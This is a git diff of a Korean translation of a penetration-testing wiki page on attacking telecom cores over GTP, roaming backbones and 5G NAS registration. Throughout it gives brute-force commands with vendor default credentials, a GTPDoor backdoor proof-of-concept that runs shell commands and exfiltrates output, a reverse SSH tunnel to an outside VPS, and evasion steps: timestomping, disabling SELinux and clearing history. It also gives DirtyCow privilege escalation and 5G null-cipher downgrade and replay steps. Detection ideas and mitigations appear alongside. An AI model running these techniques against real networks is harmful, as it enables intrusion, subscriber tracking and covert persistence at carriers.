diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 8bc9d0a25..a94dfd11a 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Telecom Network Exploitation (GTP / Roaming Environments) +# 텔레콤 네트워크 악용 (GTP / 로밍 환경) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> 모바일 코어 프로토콜(GPRS Tunnelling Protocol – GTP)은 종종 반신뢰 GRX/IPX 로밍 백본을 통과합니다. 거의 인증 없이 일반 UDP 위에서 작동하기 때문에, **통신 경계 내의 어떤 발판도 일반적으로 코어 신호 평면에 직접 접근할 수 있습니다**. 다음 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기술을 수집합니다. +> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **통신사 경계 내의 어떤 foothold든 일반적으로 코어 signalling plane에 직접 도달할 수 있다**. 다음 메모들은 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기법들을 정리한 것이다. -## 1. Recon & Initial Access +## 1. 정찰 및 초기 접근 -### 1.1 Default OSS / NE Accounts -놀랍게도 많은 벤더 네트워크 요소는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`와 같은 하드코딩된 SSH/Telnet 사용자와 함께 제공됩니다. 전용 단어 목록은 무차별 대입 성공률을 극적으로 증가시킵니다: +### 1.1 기본 OSS / NE 계정 +상당수의 벤더 네트워크 장비는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 와 같은 하드코드된 SSH/Telnet 사용자로 출하시된다. 전용 워드리스트는 브루트포스 성공률을 크게 높인다: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -장치가 관리 VRF만 노출하는 경우, 먼저 점프 호스트를 통해 피벗합니다(아래 «SGSN Emu Tunnel» 섹션 참조). +장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot 하세요 (아래 «SGSN Emu Tunnel» 섹션 참조). -### 1.2 GRX/IPX 내 호스트 검색 -대부분의 GRX 운영자는 여전히 백본을 통해 **ICMP echo**를 허용합니다. `masscan`을 내장된 `gtpv1` UDP 프로브와 결합하여 GTP-C 리스너를 신속하게 매핑합니다: +### 1.2 GRX/IPX 내부의 호스트 검색 +대부분의 GRX 운영자는 여전히 백본 전반에 걸쳐 **ICMP echo**를 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 사용하면 GTP-C 리스너를 빠르게 매핑할 수 있습니다: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. 구독자 열거하기 – `cordscan` +## 2. Enumerating Subscribers – `cordscan` -다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI를 제공하는 현재 **SGSN / MME**를 드러내며, 때때로 구독자가 방문한 PLMN도 나타냅니다. +다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI에 서비스를 제공하는 현재 **SGSN / MME** 및 때때로 가입자의 방문 PLMN을 드러냅니다. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` 주요 플래그: -- `--imsi` 대상 구독자 IMSI -- `--oper` 홈 / HNI (MCC+MNC) +- `--imsi` 대상 가입자 IMSI +- `--oper` Home / HNI (MCC+MNC) - `-w` 원시 패킷을 pcap에 기록 -이진 파일 내의 중요한 상수는 스캔을 확장하기 위해 패치할 수 있습니다: +바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있다: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. GTP를 통한 코드 실행 – `GTPDoor` +## 3. Code Execution over GTP – `GTPDoor` -`GTPDoor`는 **UDP 2123에 바인딩하고 모든 수신 GTP-C 패킷을 파싱하는** 작은 ELF 서비스입니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화(AES-128-CBC)되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내에서 유출되어 외부 세션이 생성되지 않도록 합니다. +`GTPDoor`는 UDP 2123에 바인드되어 수신되는 모든 GTP-C 패킷을 파싱하는 작은 ELF 서비스입니다. payload가 pre-shared tag로 시작하면 나머지 데이터는 AES-128-CBC로 복호화되어 `/bin/sh -c`로 실행됩니다. stdout/stderr는 **Echo Response** 메시지 안에 exfiltrated되어 외부 세션이 생성되지 않습니다. -최소 PoC 패킷 (Python): +Minimal PoC packet (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` 탐지: -* SGSN IP로 **불균형 에코 요청**을 보내는 호스트 -* 메시지 유형 = 1(에코)일 때 GTP 버전 플래그가 1로 설정됨 – 사양에서의 편차 +* 어떤 호스트가 SGSN IP들로 **unbalanced Echo Requests**를 전송하는 경우 +* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)인 경우 – 명세와의 불일치 -## 4. 코어를 통한 피벗팅 +## 4. 코어를 통한 Pivoting ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN`은 **실제 GGSN/PGW에 대한 PDP 컨텍스트를 설정할 수 있는 SGSN 에뮬레이터**를 제공합니다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 수신합니다. +`OsmoGGSN`은 실제 GGSN/PGW를 향해 **establish a PDP context towards a real GGSN/PGW** 할 수 있는 SGSN 에뮬레이터를 포함합니다. 협상 후, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -적절한 방화벽 헤어핀을 사용하면 이 터널이 신호 전용 VLAN을 우회하고 **데이터 평면**에 직접 도달합니다. +적절한 firewall hair-pinning을 통해, 이 터널은 signalling-only VLANs를 우회하여 당신을 직접 **data plane**에 진입시킵니다. -### 4.2 포트 53을 통한 SSH 리버스 터널 -DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 노출하여 :53에서 수신 대기하고 나중에 집에서 돌아오세요: +### 4.2 SSH Reverse Tunnel 포트 53을 통한 +로밍 인프라에서는 DNS가 거의 항상 열려 있습니다. 내부 SSH 서비스를 :53에서 listening하도록 VPS에 노출시키고, 집에서 나중에 접속하십시오: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -`GatewayPorts yes`가 VPS에서 활성화되어 있는지 확인하십시오. +VPS에서 `GatewayPorts yes`가 활성화되어 있는지 확인하세요. -## 5. 은밀한 채널 +## 5. 은밀 채널 | 채널 | 전송 | 디코딩 | 비고 | |---------|-----------|----------|-------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4바이트 키 + 14바이트 청크 (XOR) | 순수 수동 리스너, 아웃바운드 트래픽 없음 | -| DNS – `NoDepDNS` | UDP 53 | XOR (키 = `funnyAndHappy`) A 레코드 옥텟에 인코딩 | `*.nodep` 서브 도메인 감시 | -| GTP – `GTPDoor` | UDP 2123 | 개인 IE에 AES-128-CBC 블롭 | 합법적인 GTP-C 대화와 혼합 | +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인을 모니터링함 | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 정상적인 GTP-C 통신과 섞여 위장함 | -모든 임플란트는 **타임스톱**하여 이진 파일을 감시하고 충돌 시 재생성합니다. +모든 implants는 watchdogs를 구현하며, 바이너리를 **timestomp**하고 충돌 시 re-spawn합니다. ## 6. 방어 회피 치트시트 ```bash @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. 레거시 NE에서의 권한 상승 +## 7. 구형 NE에서의 Privilege Escalation ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -118,23 +118,130 @@ rm -f /tmp/sh ; history -c ``` ## 8. Tool Box -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 사용자 정의 도구. +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 custom tooling. * `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`) -* `Responder` : LLMNR/NBT-NS 악성 WPAD -* `Microsocks` + `ProxyChains` : 경량 SOCKS5 피벗 -* `FRP` (≥0.37) : NAT 우회 / 자산 브리징 +* `Responder` : LLMNR/NBT-NS rogue WPAD +* `Microsocks` + `ProxyChains` : 경량 SOCKS5 pivoting +* `FRP` (≥0.37) : NAT traversal / 자산 브리징 + +## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay + +5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 동작한다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 이 보안 이전 창은 N2 트래픽을 관찰하거나 변조할 수 있을 때(예: 코어 내부 on-path, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다. + +Registration flow (simplified): +- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. +- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. +- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. +- PDU Session Establishment: IP/QoS setup. + +Lab setup tips (non-RF): +- Core: Open5GS default deployment은 흐름을 재현하기에 충분함. +- UE: simulator 또는 test UE; Wireshark로 디코드. +- Active tooling: 5GReplay (NGAP 내에서 NAS 캡처/수정/재전송), Sni5Gect (전체 rogue gNB를 띄우지 않고도 NAS를 실시간으로 스니핑/패치/인젝션). +- Useful display filters in Wireshark: +- ngap.procedure_code == 15 (InitialUEMessage) +- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) + +### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI +Expected: UE/USIM은 SUCI(SUPI를 홈 네트워크 공개키로 암호화한 것)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 발견하면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다. + +How to test: +- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사. +- Wireshark quick checks: +- 디코딩 결과가 SUCI로 나와야 하며 IMSI로 나오면 안 됨. +- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 존재해야 함; 해당 항목이 없고 `imsi`가 존재하면 노출을 의미. + +What to collect: +- 노출된 경우 MCC/MNC/MSIN을 수집; UE별로 기록하고 시간/위치에 따라 추적. + +Mitigation: +- SUCI 전용 UE/USIM 강제화; 초기 NAS에서 어떤 IMSI/SUPI라도 감지되면 경보. + +### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) +Background: +- UE는 Registration Request의 UE Security Capability IE에 지원하는 EEA(암호화)와 EIA(무결성)를 광고함. +- 일반적인 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0은 null 알고리즘임. + +Issue: +- Registration Request는 무결성으로 보호되지 않기 때문에 on-path 공격자는 capability 비트를 제거해 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 긴급 서비스 외부에서도 null 알고리즘을 잘못 허용한다. + +Offensive steps: +- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정. +- Sni5Gect로 NAS 메시지를 후킹하여 전달하기 전에 capability 비트를 패치. +- AMF가 null cipher/integrity를 수락하고 Security Mode를 EEA0/EIA0로 완료하는지 관찰. + +Verification/visibility: +- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인. +- Example passive sniffer output: +``` +Encyrption in use [EEA0] +Integrity in use [EIA0, EIA1, EIA2] +SUPI (MCC+MNC+MSIN) 9997000000001 +``` +완화 조치(필수): +- AMF/policy를 구성하여 EEA0/EIA0를 엄격히 요구되는 경우(예: 긴급 통화)를 제외하고 거부하도록 설정. +- 최소한 EEA2/EIA2 적용을 권장; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로그 기록 및 경보를 설정. + +### 9.3 초기 Registration Request의 Replay (pre-security NAS) +초기 NAS는 무결성(integrity)과 신선도(freshness)가 부족하므로, 캡처된 InitialUEMessage+Registration Request는 AMF로 재생(replay)될 수 있다. + +매칭되는 replays를 전달하기 위한 5GReplay용 PoC 룰: +```xml + + + + + + + + + + + +``` +What to observe: +- AMF가 replay를 수락하고 Authentication으로 진행하는지 확인; freshness/컨텍스트 검증 부재는 노출을 의미함. + +Mitigations: +- AMF에서 replay 보호/컨텍스트 바인딩을 적용; GNB/UE별로 rate-limit 및 상관관계 분석 수행. + +### 9.4 Tooling pointers (reproducible) +- Open5GS: AMF/SMF/UPF를 띄워 코어를 에뮬레이트; N2 (NGAP) 및 NAS 관찰. +- Wireshark: NGAP/NAS 디코드 확인; 위 필터를 적용해 Registration을 분리. +- 5GReplay: registration을 캡처한 뒤 규칙에 따라 특정 NGAP + NAS 메시지를 replay. +- Sni5Gect: NAS control-plane을 실시간으로 sniff/modify/inject하여 null 알고리즘을 유도하거나 인증 시퀀스를 교란. + +### 9.5 Defensive checklist +- Registration Request에서 평문 SUPI/IMSI를 지속적으로 검사; 문제 있는 장치/USIM을 차단. +- EEA0/EIA0는 엄격히 정의된 긴급 절차를 제외하고 거부; 최소 EEA2/EIA2 요구. +- 무단 또는 잘못 구성된 인프라 탐지: 비인가 gNB/AMF, 예기치 않은 N2 피어. +- null 알고리즘을 초래하거나 InitialUEMessage의 빈번한 replay가 발생하는 NAS 보안 모드에 대해 경보. --- ## Detection Ideas -1. **SGSN/GGSN 이외의 장치가 PDP 컨텍스트 요청을 생성하는 경우**. -2. **비표준 포트(53, 80, 443)가 내부 IP로부터 SSH 핸드셰이크를 수신하는 경우**. -3. **상응하는 에코 응답 없이 빈번한 에코 요청** – GTPDoor 비콘을 나타낼 수 있음. -4. **큰 비제로 식별자/시퀀스 필드를 가진 ICMP 에코 응답 트래픽의 높은 비율**. +1. **SGSN/GGSN 이외의 장치가 Create PDP Context Requests를 생성하는 경우**. +2. **내부 IP로부터 SSH handshakes를 수신하는 비표준 포트(53, 80, 443)**. +3. **상응하는 Echo Responses 없이 Echo Requests가 빈번한 경우** – GTPDoor 비콘을 나타낼 수 있음. +4. **identifier/sequence 필드가 크고 0이 아닌 ICMP echo-reply 트래픽의 높은 비율**. +5. 5G: **동일한 엔드포인트에서 반복되는 NAS Registration Requests를 포함한 InitialUEMessage** (replay signal). +6. 5G: **긴급 상황 외에서 EEA0/EIA0를 협상하는 NAS Security Mode**. ## References - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) +- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) +- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS +- 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}